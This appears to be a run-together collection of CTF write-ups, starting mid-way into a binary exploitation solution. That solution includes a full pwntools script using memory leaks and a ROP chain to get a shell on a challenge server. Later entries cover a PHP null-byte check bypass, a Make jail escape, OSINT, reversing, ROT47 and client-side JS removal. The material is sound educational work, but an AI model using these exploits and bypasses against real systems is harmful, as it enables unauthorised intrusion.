`readint+0x1f` (`0x101248`), even luckier there is a old `readint+0x57` (`0x101280`) address on stack, that we can use. read gadget ``` assembly 00101248 ba 10 00 MOV EDX,0x10 00 00 0010124d 48 89 c6 MOV RSI,RAX 00101250 bf 00 00 MOV EDI,0x0 00 00 00101255 e8 96 fe CALL <EXTERNAL>::read``` > Note: There is also a gadget at `0x101250` that can be used on newer kernels (I use arch btw), basically the third parameters RDX is a ptr, therefore 48 bits, older kernel don't like read calls that can read way to much information (e.g. the REMOTE). Therefore we need to use `0x101248` instead, which only allows 0x10 Bytes (so a TWO GADGET). so we can edit our exploit ```python# woogie_boogie(xor_up, 0)# assert (GOAL_ADR & 0xff) == leaker() & 0xff, "xor magic failed" SWAP_ROP = base_diff(0x7fffffffe518, 0x7fffffffe530)woogie_boogie(SWAP_ROP, xor_up)sl(cyclic(0x10))``` and by sheer luck we get a ROP Chain starting at `aaaa`. > Note: even if this wasn't the case we could have played around with swap and basically written 0x10 bytes anywhere. ### Two Gadget Now that we have a read gadget that allows a two gadget rop chain we need to find candidates. Of course the first thing we do is check [one_gadget](https://github.com/david942j/one_gadget) and get this promising gadget: ### *one_gadget* ```...0xe3b01 execve("/bin/sh", r15, rdx)constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL...``` `r15`is already NULL, but this isn't true for `rdx` which stores the count for `read()`. Still this is promising and we only need to find a one gadget that allows clearing `rdx`. clear rdx ```bashROPgadget --binary libc.so.6 | grep "ret$" | grep "sub rdx"...0x00000000000ce383 : sub rdx, rax ; jbe 0xce3c0 ; add rax, rdi ; ret``` Luckily we find this gadget , this is especially useful, because `rax` stores the number of bytes read using `read()`so we only need to ensure that we `read()` the same number of bytes as specified count so 0x10 (which we do anyway). ```pythonrce = flat( LIBC + 0xce383, # clear rdx LIBC + 0xe3b01 # one_gadget) it() # or t.interactive()``` an we spawn a shell (might require a few tries, avg. 8) Flag: `lactf{l1ne_buff3r1ng_1s_s0_us3ful!!}` ### Exploit ```python#!/usr/bin/env pythonfrom pwn import * GDB_OFF = 0x555555554000IP = 'chall.lac.tf'PORT = 31166BINARY = './woogie-boogie'ARGS = []ENV = {} GDB = f"""set follow-fork-mode parent # atol done# b * readint+0x3d # call swap# b * main+0xbb # b swap # *b = *a ^ *bb * swap+0x3d # swap ret # b * swap+0x5a # main ret# b * main+0x18a c""" context.arch = 'amd64' if not args.REMOTE: context.binary = exe = ELF(BINARY, checksec=False) libc = ELF('./libc.so.6', checksec=False) context.aslr = False byt = lambda x: x if isinstance(x, bytes) else x.encode() if isinstance(x, str) else repr(x).encode()phex = lambda x, y='': print(y + hex(x))lhex = lambda x, y='': log.info(y + hex(x))pad = lambda x, s=8, v=b'\0', o='r': byt(x).ljust(s, v) if o == 'r' else byt(x).rjust(s, v)padhex = lambda x, s: pad(hex(x)[2:], s, '0', 'l')upad = lambda x: u64(pad(x)) t = Nonegt = lambda at=None: at if at else tsl = lambda x, t=None: gt(t).sendline(byt(x))se = lambda x, t=None: gt(t).send(byt(x))sla = lambda x, y, t=None: gt(t).sendlineafter(byt(x), byt(y))sa = lambda x, y, t=None: gt(t).sendafter(byt(x), byt(y))ra = lambda t=None: gt(t).recvall()rl = lambda t=None: gt(t).recvline()re = lambda x, t=None: gt(t).recv(x)ru = lambda x, t=None: gt(t).recvuntil(byt(x))it = lambda t=None: gt(t).interactive()cl = lambda t=None: gt(t).close() linfo = lambda x: log.info(x) vm = Nonedef get_target(**kw): global vm if args.REMOTE: # context.log_level = 'debug' return remote(IP, PORT) from vagd import Dogd, Qegd, Vagd, Shgd, Box # only load vagd if needed if not vm: vm = Dogd(exe.path, image=Box.DOCKER_FOCAL, ex=True, fast=True) # Docker if vm.is_new: linfo("new vagd instance") # additional setup here return vm.start(argv=ARGS, env=ENV, gdbscript=GDB, **kw) BASE = 0 def base_diff(a, base=None): if base is None: base = BASE diff = a - base assert diff % 8 == 0, "unaligned diff" return diff // 8 def woogie_boogie(a, b): sla("woogie: ", a) sla("boogie: ", b) def leaker(): woogie_boogie(0, 0) return u64(rl()[:-1], endian='big') t = get_target() # leak libcBASE = 0x7fffffffed10START_REF = base_diff(0x7fffffffede8)ROP = base_diff(0x7fffffffed38) woogie_boogie(0, START_REF)woogie_boogie(0, ROP)leak = leaker()LIBC = leak - 0x24083if not args.REMOTE: libc.address = LIBClhex(LIBC, "libc: ") # leak stackSTACK_LEAK = base_diff(0x7fffffffec68, 0x7fffffffec30) woogie_boogie(START_REF, ROP)woogie_boogie(0, STACK_LEAK)leak = leaker()STACK = leaklhex(STACK, "stack: ") # 0x7fffffffed48 # allocate (c 8)PAD = 0xe0BASE = STACK - 0x1f8 linfo("allocate")ALLOCS = 7for i in range(ALLOCS): print(f'{i}/{ALLOCS}', end='\r') woogie_boogie(START_REF, ROP) woogie_boogie(0, 0) BASE -= PAD # important offsetsBASE = 0x7fffffffe530 SWAP_ROP = base_diff(0x7fffffffe518)A_STACK = base_diff(0x7fffffffe508) B_STACK = base_diff(0x7fffffffe500)WOOGIE_STACK = base_diff(0x7fffffffe538)BOOGIE_STACK = base_diff(0x7fffffffe540) def create_char(char): assert char < 0x100, "char to large" woogie_boogie(char, WOOGIE_STACK) woogie_boogie(0, char) # RCE (c 11)linfo("woogie boogie")lhex(BASE, 'base: ') DONOR = base_diff(0x7fffffffe318, 0x7fffffffe370)READ_GADGET = 0x1248DONOR_ADR = 0x1280 char = READ_GADGET & 0xffptr = BASE^char up = base_diff(ptr)lhex(ptr, "up: ")woogie_boogie(up, DONOR) create_char(char)woogie_boogie(B_STACK, 0) linfo("create WRITE gadget")# c 15# can be shortend but easier to explain like thisxor = char ^ (DONOR_ADR & 0xff) ^ (READ_GADGET & 0xff)xor_ptr = BASE^xor xor_up = base_diff(xor_ptr)woogie_boogie(xor_up, up) create_char(xor)woogie_boogie(B_STACK, 0) # c 19linfo("start ROP")woogie_boogie(SWAP_ROP, xor_up) rce = flat( LIBC + 0xce383, # clear rdx LIBC + 0xe3b01 # one_gadget) linfo("spawn shell")sl(rce) if args.REMOTE: sleep(1) linfo("get flag")sl("echo PWN")sla("PWN", "cat flag.txt") it() # or t.interactive()```
# SpaceNotes - THCON 2024 ## Challenge![Challenge](Challenge.png) ## Understanding the challenge ### Looking at the webpage ```chall.ctf.thcon.party:port/?username=base64encoded-string```- We have to retrive admin user notes.- Directly accessing through admin base64 encoded string gives an error maybe there are some checks running.- Now we will look at the index.php file attached to the ctf. ### Looking at the useful code ```if (isset($_GET["username"])) { $encodedUsername = str_replace("=", "", $_GET["username"]); // Username is not admin if ($encodedUsername === "YWRtaW4") { $decodedUsername = ""; } else { $decodedUsername = base64_decode($encodedUsername); // Check if the username contains only alphanumeric characters and underscores if (!preg_match('/^[a-zA-Z0-9_]+$/', $decodedUsername)) { $decodedUsername = ""; } }}`````` <h1>? Welcome admin! ?</h1> ``` - In the first code block there are some checks 1. It first removes '=' from the base64 encoded strings. 2. Then it checks if the encoded string is strictly equal to 'YWRtaW4' (admin). 3. If it is equal it changes the decoded username to blank space which will give error. 4. If it is not equal it decodes the base64 and matches that username only contains a-z,A-Z,0-9 and _ . 5. If it contains other than those given things decoded username becomes blank. - In the second code block 1. If the decoded username is strictly equal to admin then it runs 'flagmessage' function. 2. 'flagmessage' function only pulls the contents of flag.txt file. ## Solution- To bypass the checks add the null byte '%00' at the end of base64 username. 1. By adding the null byte the encodedusername will not be strictly equal to 'YWRtaW4' which bypasses first condition. 2. When it is decoded from base64 it removes null byte character and the username becomes admin. 3. This satisfy the condition in 2nd code block and i got the flag. ![Solution](solution.jpeg) #### Note:- The SpaceNotes and base64custom challange dont have good quality images because i was away from my laptop and i was only using my tab so most of the procedures in both the challanges are bit lengthy because i was doing all the things manually. (on paper)
[Original writeup](https://t3l3sc0p3.github.io/posts/knightctf-2024-writeup/#gain-access-1-100-pts) (https://t3l3sc0p3.github.io/posts/knightctf-2024-writeup/#gain-access-1-100-pts).
# Misc: made-hardersolver: [L3d](https://github.com/imL3d) writeup-writer: [L3d](https://github.com/imL3d) ___**Author:** doubledelete **Description:**> the third makejail **files (copy):** [app.py](https://github.com/C0d3-Bre4k3rs/WolvCTF2024-Writeups/blob/main/made-harder/files/app.py) In this challenge we receive a site (and it's code), that allows us to write and execute a GNU Make recipe, with some restrictions. We need to bypass those restrictions and get the flag. Essentially, a Make jail. ## Solution *This Challenge is the third challenge out of a series of 4 challenges.* This challenge seems very similar to the previous ones. It has few minor changes: 1. The restrictions on the content are different, we are only allowed to use the special characters: `!@#$%^&*()[]{}<> ` This restriction isn't really restricting when it comes to bash, as we have a lot we can do with only speical characters (read more about it [here](https://github.com/C0d3-Bre4k3rs/Misc)). But this is much simpler than a regular bash jail, as we have the Make language in our side to help here a little. In Make, there are [Automatic Variables](https://www.gnu.org/software/make/manual/html_node/Automatic-Variables.html) - variables that are different for each rule that is executed, based on the target and prerequisites of the rule. These variables are really useful when writing a Makefile to compile your project... And also to places in which you can only use special characters in a make-bash jail. So instead of writing `cat flag.txt`, we can set the rule target to be `cat` and use the follwing content: `$@ $<` This is being evaluated to `cat flag.txt`, since the `$@` is a variables which means the target name, and `$<` means the first prerequisite (which conveniently happens to be `flag.txt`). Voilà! We get the flag: `wctf{s0_m4ny_v4r14bl35}` To the [next one](https://github.com/C0d3-Bre4k3rs/WolvCTF2024-Writeups/tree/main/made-with-love)! ;)
# OSINT 3> Can you find the person's IP address? Flag format is XXX.XXX.XXX.XXX Now initially this one seems a bit trickier, where would we find an IP aside from something like a data breach? Let's browse the remaining social media from the linktr.ee. I decide to take a closer look at the remaining social media, [Reddit](https://old.reddit.com/user/coleminerton). Looking at the Reddit we can see he is a new moderator for the `r/tinyislandsurvival` subreddit, and on his YouTube in his only video, the comments show him mentioning the game as well so it must have some importance. I look at the `r/tinyislandsurvival` sudreddit and see a wiki page attached, and I have an idea. On alot of Wiki's it is common when you are unauthenticated that commits use your IP address. On the Fandom page I hover over the three dots in the top left and click 'View history', and ofcourse Cole is there. Scrolling on the commits we can see a particular set. ![osint3.png](https://seall.dev/images/ctfs/utctf2024/osint3.png) Flag: `181.41.206.31`
[Author's writeup](https://s3.amazonaws.com/archive.volgactf.ru/volgactf_2024/tasks/greasepaint/writeup.html) (https://s3.amazonaws.com/archive.volgactf.ru/volgactf_2024/tasks/greasepaint/writeup.html).
# UnholyEXE Remember, Terry zealously blessed the PCNet driver. ### Resources Used [ZealOS-wiki](https://zeal-operating-system.github.io/ZealOS-wiki/) [ZealOS Discord](https://discord.gg/rK6U3xdr7D) [Running the ZealOS Gopher Browser (Virtual Box only) - YouTube](https://www.youtube.com/watch?v=eFaMYuggM80) [ZealOS Documentation](https://zeal-operating-system.github.io/) ### Tools Used [ImHex](https://github.com/WerWolv/ImHex) [Ghidra](https://ghidra-sre.org/) [VirtualBox](https://www.virtualbox.org/) [ImDisk](https://sourceforge.net/projects/imdisk-toolkit/) I began by downloading and viewing the `chal.bin` file in a hex editor. Inspecting the contents, I noticed some strings related to networking, such as `Trying to accept a connection`. In addition, there were some strings that seemed to be type or function names, like `DCDel` and `_CLAMP_I64`. Using Github search for these strings, many of the results were related to TempleOS, such as Shrine or TinkerOS. After viewing some of these projects, based on the hint text, I decided ZealOS was the right choice to keep looking at, due to its networking support and name. In the meantime, I loaded `chal.bin` into Ghidra, but the current decompilation result was meaningless. I installed ZealOS through VirtualBox. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image1.png) My instinct was to try to get the `chal.bin` binary into ZealOS and run it there. I initially thought that I might be able to redownload `chal.bin` from the CTF page directly in ZealOS. I joined the ZealOS Discord to try and get more information about how networking is performed. As a fun note, I found the challenge creator's [blog post](https://retu2libc.github.io/posts/aot-compiling-zealc.html) discussing some of the steps they took to create the challenge. Based on this information, the binary file was a `.ZXE` file, which is the pre-compiled executable for ZealOS, which matched with the magic number visible within the file. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image2.png) To setup networking within ZealOS, I needed to navigate to the `~/Net` folder and System Include the `Start.ZC` script. Although I was using the PCNet driver within VirtualBox (which seemed to be the default option), networking was not working. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image3.png) However, I learned how to access the ZealOS filesystem from within my host OS. To open the ZealOS filesystem, I used the Mount Image application from ImDisk. Once mounted, I renamed `chal.bin` as `Chal.ZXE`, moved it into the filesystem, and unmounted the filesystem. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image4.png) (In the screenshot, 2 filesystems are visible. I wasn't sure which to use, so I just moved `Chal.ZXE` into both of them.) Then, I could reboot into ZealOS and run the pre-compiled binary with `Load("Chal.ZXE");` while in the same directory as the file: ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image5.png) I needed to include the network `Start.ZC` so that all the functions names were known, but networking still didn't work: ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image6.png) However, I could "inject" my own versions of the TCPSocketReceive to "receive" whatever network data I wanted. I wrote `Inject.ZC` to replace the networking functions with my own. After trying to accept a connection for some time, and presumably timing out, it would receive data from the injected function. But, sending data resulted in garbage: ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image7.png) Some characters of the flag, such as `wctf{...}` seemed recognizable as a flag, so I certainly felt like I was making progress. At this point, I needed to be able to decompile the binary to reverse engineer it and understand what was going on. From browsing Discord, I learned about the `ZXERep` function, which outputs information about `.ZXE` binaries: ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image8.png) I chose to look at `ZXERep` to learn about the file format for `ZXE` executables. Essentially, the executable begins with some header information, which includes pointers to tables that specify how patch in functions. I wanted to be able to get a nice decompilation from Ghidra to easily see what was going on. I spent a significant amount of time manually patching the binary within Ghidra to achieve this. To do this, I created a dummy memory block that would contain all the external referenced functions by using Ghidra's Memory Map feature. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image9.png) I created all the external functions in this memory block: ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image10.png) Then, I manually patched all the branch instructions to the correct function, as specified by the `ZXE` format. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image11.png) Finally, I modified the calling convention for multiple functions. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image12.png) The result was a very nice decompilation that was obviously drawing something on the screen. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image13.png) The resulting Ghidra program is provided with this writeup (`chal.gzf`). Initially, I was trying to input the flag into the network input (beginning the input with `w`, `c`, `t`, `f`, `{`, ...), but that was still giving messy output. I also injected a random function that would always return 0 to see if that would give readable results. I ended up trying to input the numbers that were XORed within the decompilation, and that resulted in a very clean output. The final `Inject.ZC` is provided with this writeup. ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image14.png) ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image15.png) ![](https://raw.githubusercontent.com/strobor/ctf-writeups/main/wolvctf2024/UnholyEXE/Image16.png) `wctf{rip_T3rry_D4v1s}`
# 47 Category: Cryptography Files: ## Description It's not less than 47 , it's not greater than 47, it's just 47! ```FC49:?D64LC_E2E:@?D0bCc0?_E02=H2JD0`bN https://gchq.github.io/CyberChef/#recipe=ROT47_Brute_Force(100,0,true,'')&input=RkM0OTo/RDY0TENfRTJFOkA/RDBiQ2MwP19FMDI9SDJKRDBgYk4 urchinsec{r0tations_3r4_n0t_always_13}
Since the CTF was based around greek mythology, I guessed that it had something to do with a greek god.A quick search gives the result of Aphrodite, who was conceived at the sea from Uranus's castrated testicles. Since the flag format was nicc{daughter_father}, I first tried nicc{Aphrodite_Uranus}. However, it wasn't accepted. Reading the hint, it says "There are many different spellings, but only one right answer. So try 'em all." The correct flag ended up being nicc{Aphrodite_Ouranos}, with ouranos being an alternate name for uranus.
# terms-and-conditions> Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag! When visiting the site linked, we are shown a plain webpage with some rules and an accept button, but when we get close it moves away from our cursor. ![tac-1.png](https://seall.dev/images/ctfs/lactf2024/tac-1.png) The way I approach this is by using Burp Suite to remove the client side movement code so the button cannot move away. I do this by intercepting responses in Burp Suite and then editing the response before the browser loads it. I specifically remove this portion of the JS: ```jswindow.addEventListener("mousemove", function (e) { mx = e.clientX; my = e.clientY;});``` Flag: `lactf{that_button_was_definitely_not_one_of_the_terms}`